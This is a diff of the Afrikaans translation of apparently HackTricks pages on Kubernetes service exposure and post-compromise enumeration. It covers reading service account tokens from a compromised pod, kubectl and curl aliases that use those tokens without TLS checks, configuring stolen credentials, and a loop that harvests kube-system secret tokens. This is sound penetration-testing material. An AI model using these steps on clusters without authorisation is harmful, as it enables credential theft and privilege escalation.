-Nou kan jy deur die Kubernetes API navigeer om dienste te bekom met hierdie skema:
+Nou kan jy deur die Kubernetes API navigeer om toegang tot services te verkry met hierdie skema:
 
 `http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
 
@@ -34,7 +34,7 @@ Byvoorbeeld, jy kan die volgende URL gebruik:
 
 `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
 
-om toegang tot hierdie diens te verkry:
+om toegang te verkry tot hierdie service:
 ```yaml
 apiVersion: v1
 kind: Service
@@ -50,7 +50,7 @@ port: 80
 targetPort: 80
 protocol: TCP
 ```
-_ Hierdie metode vereis dat jy `kubectl` as 'n **geverifieerde gebruiker** uitvoer._
+_Hierdie metode vereis dat jy `kubectl` as ’n **geïdentifiseerde gebruiker** laat loop._
 
 Lys alle ClusterIPs:
 ```bash
@@ -58,7 +58,7 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
 ```
 ### NodePort
 
-Wanneer **NodePort** gebruik word, word 'n aangewese poort beskikbaar gemaak op alle Nodes (wat die Virtuele Masjiene verteenwoordig). **Verkeer** wat na hierdie spesifieke poort gerig is, word dan sistematies **na die diens gelei**. Gewoonlik word hierdie metode nie aanbeveel nie weens sy nadele.
+Wanneer **NodePort** gebruik word, word 'n aangewese poort op al die Nodes beskikbaar gemaak (wat die Virtual Machines verteenwoordig). **Traffic** wat na hierdie spesifieke poort gerig word, word dan sistematies **na die service herlei**. Gewoonlik word hierdie metode nie aanbeveel nie weens sy nadele.
 
 Lys alle NodePorts:
 ```bash
@@ -81,28 +81,30 @@ targetPort: 80
 nodePort: 30036
 protocol: TCP
 ```
-As jy nie die **nodePort** in die yaml spesifiseer nie (dit is die poort wat geopen sal word), sal 'n poort in die **reeks 30000–32767 gebruik word**.
+As jy nie die **nodePort** in die yaml **spesifiseer** nie (dit is die poort wat oopgemaak sal word), sal ’n poort in die **reeks 30000–32767 gebruik word**.
 
-### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
+### LoadBalancer
 
-Stel die Diens ekstern bloot **met 'n wolkverskaffer se laaibalans**. Op GKE sal dit 'n [Netwerk Laaibalans](https://cloud.google.com/compute/docs/load-balancing/network/) opstel wat vir jou 'n enkele IP-adres sal gee wat al die verkeer na jou diens sal deurstuur. In AWS sal dit 'n Laaibalans begin.
+Maak die Service ekstern bloot **met behulp van ’n cloud provider se load balancer**. Op GKE sal dit ’n [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) opstel wat jou ’n enkele IP-adres sal gee wat al die verkeer na jou service sal deurstuur. In AWS sal dit ’n Load Balancer lanseer.
 
-Jy moet betaal vir 'n LoadBalancer per blootgestelde diens, wat duur kan wees.
+Jy moet vir ’n LoadBalancer per blootgestelde service betaal, wat duur kan wees.
 
 Lys alle LoadBalancers:
 ```bash
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
 ```
-### Eksterne IP's <a href="#external-ips" id="external-ips"></a>
+### Extern IP's
 
 > [!TIP]
-> Eksterne IP's word blootgestel deur dienste van tipe Load Balancers en hulle word oor die algemeen gebruik wanneer 'n eksterne Cloud Provider Load Balancer gebruik word.
+> External IP's word blootgestel deur services van tipe Load Balancers en hulle word oor die algemeen gebruik wanneer 'n eksterne Cloud Provider Load Balancer gebruik word.
 >
 > Om hulle te vind, kyk vir load balancers met waardes in die `EXTERNAL-IP` veld.
 
-Verkeer wat in die kluster ingaan met die **eksterne IP** (as **bestemmings IP**), op die Service poort, sal **na een van die Service eindpunte gelei word**. `externalIPs` word nie deur Kubernetes bestuur nie en is die verantwoordelikheid van die kluster administrateur.
+Traffic wat die cluster binnegaan met die **external IP** (as **destination IP**), op die Service-poort, sal **gerouteer word na een van die Service-endpoints**. `externalIPs` word nie deur Kubernetes bestuur nie en is die verantwoordelikheid van die cluster administrator.
 
-In die Service spesifikasie kan `externalIPs` gespesifiseer word saam met enige van die `ServiceTypes`. In die voorbeeld hieronder kan "`my-service`" deur kliënte op "`80.11.12.10:80`" (`externalIP:port`) toeganklik gemaak word.
+`externalIPs` is 'n sensitiewe route-control veld omdat 'n user wat dit kan stel traffic vir 'n IP address kan opeis wat die Service owner nie behoort te beheer nie as die omliggende network daardie IP na die cluster route. Kubernetes het die deprecation en beplande removal van Service `externalIPs` in v1.36 aangekondig, so verkies controller-owned exposure mechanisms soos LoadBalancer integrations of Gateway API waar moontlik, en beperk/admiteer hierdie veld versigtig terwyl dit nog bestaan.
+
+In die Service spec, `externalIPs` kan saam met enige van die `ServiceTypes` gespesifiseer word. In die voorbeeld hieronder, "`my-service`" kan deur clients verkry word op "`80.11.12.10:80`" (`externalIP:port`)
 ```yaml
 apiVersion: v1
 kind: Service
@@ -121,9 +123,9 @@ externalIPs:
 ```
 ### ExternalName
 
-[**Uit die dokumentasie:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Dienste van tipe ExternalName **koppel 'n Dienst aan 'n DNS naam**, nie aan 'n tipiese selektor soos `my-service` of `cassandra` nie. Jy spesifiseer hierdie Dienste met die `spec.externalName` parameter.
+[**Uit die docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services van tipe ExternalName **map 'n Service na 'n DNS-naam**, nie na 'n tipiese selector soos `my-service` of `cassandra` nie. Jy spesifiseer hierdie Services met die `spec.externalName` parameter.
 
-Hierdie Dienstdefinisie, byvoorbeeld, koppel die `my-service` Dienst in die `prod` naamruimte aan `my.database.example.com`:
+Hierdie Service-definisie, byvoorbeeld, map die `my-service` Service in die `prod` namespace na `my.database.example.com`:
 ```yaml
 apiVersion: v1
 kind: Service
@@ -134,46 +136,68 @@ spec:
 type: ExternalName
 externalName: my.database.example.com
 ```
-Wanneer jy die gasheer `my-service.prod.svc.cluster.local` opsoek, keer die kluster DNS-diens terug na 'n `CNAME` rekord met die waarde `my.database.example.com`. Toegang tot `my-service` werk op dieselfde manier as ander dienste, maar met die belangrike verskil dat **herleiding op die DNS-vlak plaasvind** eerder as deur middel van proxy of forwarding.
+Wanneer die host `my-service.prod.svc.cluster.local` opsoek word, gee die cluster DNS Service ’n `CNAME` rekord terug met die waarde `my.database.example.com`. Toegang tot `my-service` werk op dieselfde manier as ander Services, maar met die deurslaggewende verskil dat **herleiding op die DNS-vlak plaasvind** eerder as via proxying of forwarding.
 
-Lys alle ExternalNames:
+Lys al die ExternalNames:
 ```bash
 kubectl get services --all-namespaces | grep ExternalName
 ```
+### EndpointSlices
+
+EndpointSlices wys die konkrete backend-adresse en poorte waarna 'n Service tans routeer. Hulle is veral nuttig wanneer 'n Service geen selector het nie, wanneer labels nie die traffic-pad verduidelik nie, of wanneer slegs sommige backends gereed is.
+
+Lys EndpointSlices geassosieer met Services:
+```bash
+kubectl get endpointslices --all-namespaces
+kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
+kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
+-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
+```
+Wanneer exposure hersien, vergelyk die Service selector met die EndpointSlice `targetRef`, endpoint-adresse, readiness conditions, en ports. ’n Selectorless Service kan met handmatig bestuurde EndpointSlices gepaar word en verkeer na non-Pod of onverwagte bestemmings roeteer.
+
 ### Ingress
 
-Verskil van al die bogenoemde voorbeelde, **Ingress is NIE 'n tipe diens nie**. In plaas daarvan, sit dit **voor verskeie dienste en funksioneer as 'n “slimme router”** of toegangspunt tot jou kluster.
+Anders as al die bogenoemde voorbeelde, is **Ingress NIE ’n tipe service** nie. In plaas daarvan sit dit **voor verskeie services en tree op as ’n “smart router”** of entrypoint in jou cluster.
 
-Jy kan baie verskillende dinge met 'n Ingress doen, en daar is **baie tipes Ingress kontrollers wat verskillende vermoëns het**.
+Jy kan baie verskillende dinge met ’n Ingress doen, en daar is **baie tipes Ingress controllers wat verskillende capabilities het**.
 
-Die standaard GKE ingress kontroller sal 'n [HTTP(S) Laai Balansier](https://cloud.google.com/compute/docs/load-balancing/http/) vir jou opstel. Dit sal jou toelaat om beide padgebaseerde en subdomein-gebaseerde routing na agterdienste te doen. Byvoorbeeld, jy kan alles op foo.yourdomain.com na die foo diens stuur, en alles onder die yourdomain.com/bar/ pad na die bar diens.
+Die standaard GKE ingress controller sal vir jou ’n [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) opstel. Dit sal jou toelaat om beide path based en subdomain based routing na backend services te doen. Jy kan byvoorbeeld alles op foo.yourdomain.com na die foo service stuur, en alles onder die yourdomain.com/bar/ path na die bar service.
 
-Die YAML vir 'n Ingress objek op GKE met 'n [L7 HTTP Laai Balansier](https://cloud.google.com/compute/docs/load-balancing/http/) mag soos volg lyk:
+Die YAML vir ’n Ingress object op GKE met ’n [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kan so lyk:
 ```yaml
-apiVersion: extensions/v1beta1
+apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
 name: my-ingress
 spec:
-backend:
-serviceName: other
-servicePort: 8080
+defaultBackend:
+service:
+name: other
+port:
+number: 8080
 rules:
 - host: foo.mydomain.com
 http:
 paths:
-- backend:
-serviceName: foo
-servicePort: 8080
+- path: /
+pathType: Prefix
+backend:
+service:
+name: foo
+port:
+number: 8080
 - host: mydomain.com
 http:
 paths:
-- path: /bar/*
+- path: /bar
+pathType: Prefix
 backend:
-serviceName: bar
-servicePort: 8080
+service:
+name: bar
+port:
+number: 8080
 ```
-Lys al die ingresses:
+Lys alle die ingresses:
 ```bash
 kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
 ```
@@ -181,9 +205,26 @@ Alhoewel dit in hierdie geval beter is om die inligting van elkeen een vir een t
 ```bash
 kubectl get ingresses --all-namespaces -o=yaml
 ```
-### Verwysings
+### Gateway API
+
+Gateway API is die nuwer Kubernetes API vir die blootstel van Services. Dit skei infrastruktuur-besitte Gateway objects van toepassing-besitte Route objects soos HTTPRoute. Dit is nuttig vir delegasie, maar dit beteken ook exposure kan oor namespaces gesplit word.
+
+List Gateway API exposure objects:
+```bash
+kubectl get gatewayclasses
+kubectl get gateways --all-namespaces
+kubectl get httproutes --all-namespaces
+kubectl get gateway -n <namespace> <gateway-name> -o yaml
+kubectl get httproute -n <namespace> <route-name> -o yaml
+```
+Kontroleer Gateway listeners, toegelate route namespaces, Route `parentRefs`, hostnames, filters, backend references, en status conditions soos of die route aanvaar is. ’n Route wat deur ’n shared Gateway aanvaar word, kan ’n backend blootstel selfs wanneer geen legacy Ingress object bestaan nie.
+
+### References
 
 - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
 - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
+- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
+- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
+- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

@@ -1,89 +1,89 @@
-# Kubernetes Enumerasie
+# Kubernetes Enumeration
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Kubernetes Tokens
 
-As jy gecompromitteerde toegang tot 'n masjien het, mag die gebruiker toegang hê tot 'n paar Kubernetes platforms. Die token is gewoonlik geleë in 'n lêer wat deur die **env var `KUBECONFIG`** of **binne `~/.kube`** gewys word.
+As jy toegang tot ’n masjien gekompromitteer het, mag die gebruiker toegang hê tot ’n Kubernetes platform. Die token is gewoonlik geleë in ’n lêer wat aangedui word deur die **env var `KUBECONFIG`** of **binne `~/.kube`**.
 
-In hierdie gids kan jy konfigurasielêers met **tokens en konfigurasies om met die API-bediener te verbind** vind. In hierdie gids kan jy ook 'n kasgids vind met inligting wat voorheen verkry is.
+In hierdie vouer mag jy config-lêers vind met **tokens and configurations to connect to the API server**. In hierdie vouer kan jy ook ’n cache-vouer vind met inligting wat vroeër herwin is.
 
-As jy 'n pod binne 'n kubernetes omgewing gecompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8 omgewing kan vind:
+As jy ’n pod binne ’n kubernetes environment gekompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8 env kan vind:
 
-### Diensrekening Tokens
+### Service Account Tokens
 
-Voordat jy voortgaan, as jy nie weet wat 'n diens in Kubernetes is nie, sou ek jou aanbeveel om **hierdie skakel te volg en ten minste die inligting oor Kubernetes argitektuur te lees.**
+Voordat jy verder gaan, as jy nie weet wat ’n service in Kubernetes is nie, sou ek voorstel dat jy **volg hierdie link en lees ten minste die inligting oor Kubernetes architecture.**
 
-Geneem uit die Kubernetes [dokumentasie](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
+Geneem uit die Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
 
-_“Wanneer jy 'n pod skep, as jy nie 'n diensrekening spesifiseer nie, word dit outomaties aan die_ standaard _diensrekening in dieselfde naamruimte toegeken.”_
+_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
 
-**ServiceAccount** is 'n objek wat deur Kubernetes bestuur word en gebruik word om 'n identiteit te verskaf vir prosesse wat in 'n pod loop.\
-Elke diensrekening het 'n geheim wat daarmee verband hou en hierdie geheim bevat 'n draer token. Dit is 'n JSON Web Token (JWT), 'n metode om aansprake veilig tussen twee partye voor te stel.
+**ServiceAccount** is an object managed by Kubernetes en gebruik om ’n identity te verskaf vir processes wat in ’n pod loop.\
+Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
 
-Gewoonlik bevat **een** van die gidsen:
+Gewoonlik bevat **een** van die directories:
 
 - `/run/secrets/kubernetes.io/serviceaccount`
 - `/var/run/secrets/kubernetes.io/serviceaccount`
 - `/secrets/kubernetes.io/serviceaccount`
 
-die lêers:
+die files:
 
-- **ca.crt**: Dit is die ca sertifikaat om kubernetes kommunikasie te kontroleer
-- **namespace**: Dit dui die huidige naamruimte aan
-- **token**: Dit bevat die **diens token** van die huidige pod.
+- **ca.crt**: Dit is die ca certificate om kubernetes communications te check
+- **namespace**: Dit dui die current namespace aan
+- **token**: Dit bevat die **service token** van die current pod.
 
-Nou dat jy die token het, kan jy die API-bediener binne die omgewingsvariabele **`KUBECONFIG`** vind. Vir meer inligting, voer `(env | set) | grep -i "kuber|kube`**`"`** uit.
+Nou dat jy die token het, kan jy die API server binne die environment variable **`KUBECONFIG`** vind. Vir meer info run `(env | set) | grep -i "kuber|kube`**`"`**
 
-Die diensrekening token word onderteken deur die sleutel wat in die lêer **sa.key** geleë is en geverifieer deur **sa.pub**.
+Die service account token word gesign deur die key wat in die file **sa.key** resideer en validated deur **sa.pub**.
 
-Standaard ligging op **Kubernetes**:
+Default location on **Kubernetes**:
 
 - /etc/kubernetes/pki
 
-Standaard ligging op **Minikube**:
+Default location on **Minikube**:
 
 - /var/lib/localkube/certs
 
-### Warm Pods
+### Hot Pods
 
-_**Warm pods is**_ pods wat 'n bevoorregte diensrekening token bevat. 'n Bevoorregte diensrekening token is 'n token wat toestemming het om bevoorregte take uit te voer soos om geheime te lys, pods te skep, ens.
+_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
 
 ## RBAC
 
-As jy nie weet wat **RBAC** is nie, **lees hierdie afdeling**.
+As jy nie weet wat **RBAC** is nie, **lees hierdie section**.
 
-## GUI Toepassings
+## GUI Applications
 
-- **k9s**: 'n GUI wat 'n kubernetes kluster vanaf die terminale opnoem. Kyk na die opdragte in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Skryf `:namespace` en kies alles om dan hulpbronne in al die naamruimtes te soek.
-- **k8slens**: Dit bied 'n paar gratis proefdae aan: [https://k8slens.dev/](https://k8slens.dev/)
+- **k9s**: ’n GUI wat ’n kubernetes cluster vanaf die terminal enumerate. Check die commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` en select all om dan resources in al die namespaces te search.
+- **k8slens**: Dit bied ’n paar free trial days: [https://k8slens.dev/](https://k8slens.dev/)
 
-## Enumerasie CheatSheet
+## Enumeration CheatSheet
 
-Om 'n K8s omgewing te enumerate, het jy 'n paar van hierdie nodig:
+Om ’n K8s environment te enumerate, benodig jy ’n paar van hierdie:
 
-- 'n **geldige autentikasie token**. In die vorige afdeling het ons gesien waar om 'n gebruikers token en 'n diensrekening token te soek.
-- Die **adres (**_**https://host:port**_**) van die Kubernetes API**. Dit kan gewoonlik in die omgewingsvariabeles en/of in die kube konfigurasielêer gevind word.
-- **Opsioneel**: Die **ca.crt om die API-bediener te verifieer**. Dit kan gevind word in dieselfde plekke waar die token gevind kan word. Dit is nuttig om die API-bediener sertifikaat te verifieer, maar deur `--insecure-skip-tls-verify` met `kubectl` of `-k` met `curl` te gebruik, sal jy dit nie nodig hê nie.
+- ’n **valid authentication token**. In die vorige section het ons gesien waar om vir ’n user token en vir ’n service account token te search.
+- Die **address (**_**https://host:port**_**) van die Kubernetes API**. Dit kan gewoonlik in die environment variables en/of in die kube config file gevind word.
+- **Optional**: Die **ca.crt om die API server te verify**. Dit kan op dieselfde plekke gevind word waar die token gevind kan word. Dit is nuttig om die API server certificate te verify, maar met `--insecure-skip-tls-verify` in `kubectl` of `-k` in `curl` sal jy dit nie nodig hê nie.
 
-Met daardie besonderhede kan jy **kubernetes enumerate**. As die **API** om een of ander rede **toeganklik** is deur die **Internet**, kan jy net daardie inligting aflaai en die platform vanaf jou gasheer opnoem.
+Met daardie details kan jy **kubernetes enumerate**. As die **API** om een of ander rede **accessible** is via die **Internet**, kan jy eenvoudig daardie info aflaai en die platform vanaf jou host enumerate.
 
-Echter, gewoonlik is die **API-bediener binne 'n interne netwerk**, daarom sal jy moet **'n tonnel skep** deur die gecompromitteerde masjien om toegang te verkry vanaf jou masjien, of jy kan die **[kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)** binêre oplaai, of **`curl/wget/anything`** gebruik om rou HTTP versoeke aan die API-bediener te doen.
+Gewoonlik is die **API server** egter binne ’n internal network, daarom sal jy ’n **tunnel moet create** deur die compromised machine om vanaf jou machine toegang daartoe te kry, of jy kan die **[kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)** binary **upload**, of **`curl/wget/anything`** gebruik om raw HTTP requests na die API server uit te voer.
 
-### Verskille tussen `list` en `get` werkwoorde
+### Differences between `list` and `get` verbs
 
-Met **`get`** toestemmings kan jy inligting van spesifieke bates (_`describe` opsie in `kubectl`_) API:
+Met **`get`** permissions kan jy inligting kry van spesifieke assets (_`describe` option in `kubectl`_) API:
 ```
 GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
 ```
-As jy die **`list`** toestemming het, mag jy API versoeke uitvoer om 'n tipe bates op te lys (_`get` opsie in `kubectl`_):
+As jy die **`list`** permission het, word jy toegelaat om API requests uit te voer om ’n tipe asset te lys (_`get` option in `kubectl`_):
 ```bash
 #In a namespace
 GET /apis/apps/v1/namespaces/{namespace}/deployments
 #In all namespaces
 GET /apis/apps/v1/deployments
 ```
-As jy die **`watch`** toestemming het, mag jy API versoeke uitvoer om bates te monitor:
+As jy die **`watch`** permission het, is jy toegelaat om API requests uit te voer om assets te monitor:
 ```
 GET /apis/apps/v1/deployments?watch=true
 GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
 GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
 GET /apis/apps/v1/watch/deployments  [DEPRECATED]
 ```
-Hulle open 'n stroomverbinding wat jou die volle manifest van 'n Deployment teruggee wanneer dit verander (of wanneer 'n nuwe een geskep word).
+Hulle open ’n streaming connection wat jou die volle manifest van ’n Deployment terugstuur wanneer dit verander (of wanneer ’n nuwe een geskep word).
 
 > [!CAUTION]
-> Die volgende `kubectl` opdragte dui net aan hoe om die voorwerpe te lys. As jy toegang tot die data wil hê, moet jy `describe` in plaas van `get` gebruik.
+> Die volgende `kubectl` commands dui net aan hoe om die objects te lys. As jy toegang tot die data wil hê, moet jy `describe` gebruik in plaas van `get`
 
-### Gebruik van curl
+### Using curl
 
-Van binne 'n pod kan jy verskeie omgewing veranderlikes gebruik:
+Van binne ’n pod kan jy verskeie env variables gebruik:
 ```bash
 export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
 export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
 # if kurl is still got cert Error, using -k option to solve this.
 ```
 > [!WARNING]
-> Standaard kan die pod **toegang** verkry tot die **kube-api server** in die domeinnaam **`kubernetes.default.svc`** en jy kan die kube netwerk in **`/etc/resolv.config`** sien, aangesien jy hier die adres van die kubernetes DNS-server sal vind (die ".1" van dieselfde reeks is die kube-api eindpunt).
+> By default kan die pod die **kube-api server** by die domeinnaam **`kubernetes.default.svc`** **toegang** en jy kan die kube-netwerk in **`/etc/resolv.config`** sien, want hier sal jy die adres van die kubernetes DNS server vind (die ".1" van dieselfde reeks is die kube-api endpoint).
 
-### Gebruik kubectl
+### Using kubectl
 
-Met die token en die adres van die API-server gebruik jy kubectl of curl om toegang te verkry soos hier aangedui:
+Met die token en die adres van die API server gebruik jy kubectl of curl om toegang daartoe te kry soos hier aangedui:
 
-Standaard kommunikeer die APISERVER met `https://` skema
+By default, The APISERVER kommunikeer met `https://` schema
 ```bash
 alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
 ```
-> as daar geen `https://` in die URL is nie, kan jy 'n fout soos 'Bad Request' kry.
+> as daar geen `https://` in url is nie, kan jy `Error Like Bad Request` kry.
 
-Jy kan 'n [**amptelike kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om verskillende opsies om te enumerate en die nuwe K8s wat jy toegang tot verkry het, te verstaan, in 'n geordende manier voor te stel.
+Jy kan ’n [**official kubectl cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) vind. Die doel van die volgende afdelings is om op ’n geordende manier verskillende opsies te bied om die nuwe K8s waartoe jy toegang gekry het, te enumerate en te verstaan.
 
-Om die HTTP-versoek wat `kubectl` stuur te vind, kan jy die parameter `-v=8` gebruik.
+Om die HTTP request te vind wat `kubectl` stuur, kan jy die parameter `-v=8` gebruik
 
 #### MitM kubectl - Proxyfying kubectl
 ```bash
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
 {{#endtab }}
 {{#endtabs }}
 
-As jy daarin geslaag het om 'n paar gebruikers se akrediteerbesonderhede te steel, kan jy **hulle plaaslik konfigureer** met iets soos:
+As jy daarin geslaag het om sommige gebruikers se credentials te steel, kan jy hulle **plaaslik konfigureer** met iets soos:
 ```bash
 kubectl config set-credentials USER_NAME \
 --auth-provider=oidc \
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
 ```
 ### Kry Ondersteunde Hulpbronne
 
-Met hierdie inligting sal jy al die dienste weet wat jy kan lys
+Met hierdie inligting sal jy al die dienste ken wat jy kan lys
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
 {{#endtab }}
 {{#endtabs }}
 
-### Kry Huidige Privileges
+### Objekmetadata wat die moeite werd is om na te gaan
+
+Wanneer jy 'n object kan lees, voer die volledige YAML of JSON uit in plaas daarvan om net op tabel-uitvoer of `describe` staat te maak. Die nuttigste security-konteks is dikwels in generiese object-velde wat oor baie resource-tipes bestaan:
+```bash
+kubectl get pod <pod> -n <ns> -o yaml
+kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
+kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
+```
+- `metadata.uid`, `name`, `namespace`, `apiVersion` en `kind` identifiseer die presiese object en vermy verwarring tussen objects met dieselfde naam in verskillende namespaces of API groups.
+- `metadata.labels` en selectors koppel Services, Deployments, ReplicaSets, Pods, NetworkPolicies en automation. Om selectors te volg is dikwels die vinnigste manier om die werklike backend pods vir ’n Service te identifiseer.
+- `metadata.annotations` kan operational context leak soos ingress behavior, cloud load balancer settings, GitOps of Helm metadata, policy exemptions, en service mesh configuration. Hulle behoort nie secrets te bevat nie, maar regte clusters stel dikwels nuttige leidrade daar bloot.
+- `metadata.ownerReferences` wys controller lineage. As ’n Pod besit word deur ’n ReplicaSet wat besit word deur ’n Deployment, sal die verander of delete van net die Pod gewoonlik nie die source regstel nie.
+- `metadata.finalizers` en `metadata.deletionTimestamp` verduidelik resources wat in deletion vassteek en kan cleanup controllers of persistence/disruption tricks onthul.
+- `status`, Events, en conditions kan node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, en controller progress onthul. Hulle is nuttige leidrade, maar audit logs is steeds nodig om te bewys wie ’n action uitgevoer het.
+
+### Get Current Privileges
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -197,7 +212,7 @@ kurl -i -s -k -X $'POST' \
 {{#endtab }}
 {{#endtabs }}
 
-'n Ander manier om jou bevoegdhede te kontroleer, is deur die hulpmiddel: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
+Nog ’n manier om jou voorregte na te gaan is deur die tool te gebruik: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
 
 Jy kan meer leer oor **Kubernetes RBAC** in:
 
@@ -205,13 +220,13 @@ Jy kan meer leer oor **Kubernetes RBAC** in:
 kubernetes-role-based-access-control-rbac.md
 {{#endref}}
 
-**Sodra jy weet watter bevoegdhede** jy het, kyk na die volgende bladsy om uit te vind **of jy dit kan misbruik** om bevoegdhede te verhoog:
+**Sodra jy weet watter voorregte** jy het, kyk na die volgende bladsy om uit te vind **of jy dit kan abuse** om voorregte te eskaleer:
 
 {{#ref}}
 abusing-roles-clusterroles-in-kubernetes/
 {{#endref}}
 
-### Kry Ander rolle
+### Kry Ander roles
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -229,9 +244,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
 {{#endtab }}
 {{#endtabs }}
 
-### Kry namespaces
+### Kry namespasies
 
-Kubernetes ondersteun **meervoudige virtuele klusters** wat deur dieselfde fisiese kluster ondersteun word. Hierdie virtuele klusters word **namespaces** genoem.
+Kubernetes ondersteun **veelvuldige virtuele clusters** wat deur dieselfde fisiese cluster ondersteun word. Hierdie virtuele clusters word **namespaces** genoem.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -247,7 +262,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
 {{#endtab }}
 {{#endtabs }}
 
-### Kry geheime
+### Kry secrets
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
 {{#endtab }}
 {{#endtabs }}
 
-As jy geheime kan lees, kan jy die volgende lyne gebruik om die regte wat aan elke token gekoppel is, te verkry:
+As jy secrets kan lees, kan jy die volgende lyne gebruik om die voorregte te kry wat met elke token verband hou:
 ```bash
 for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
 ```
-### Verkrydiensrekening
+### Kry Diensrekeninge
 
-Soos bespreek aan die begin van hierdie bladsy **wanneer 'n pod uitgevoer word, word 'n diensrekening gewoonlik aan dit toegeken**. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker in staat stel om voorregte te verhoog.
+Soos aan die begin van hierdie bladsy bespreek is, **wanneer 'n pod loop, word 'n diensrekening gewoonlik daaraan toegewys**. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker moontlik toelaat om voorregte te eskaleer.
 
 {{#tabs }}
 {{#tab name="kubectl" }}
@@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
 {{#endtab }}
 {{#endtabs }}
 
-### Kry Ontplooiings
+### Kry Deployments
 
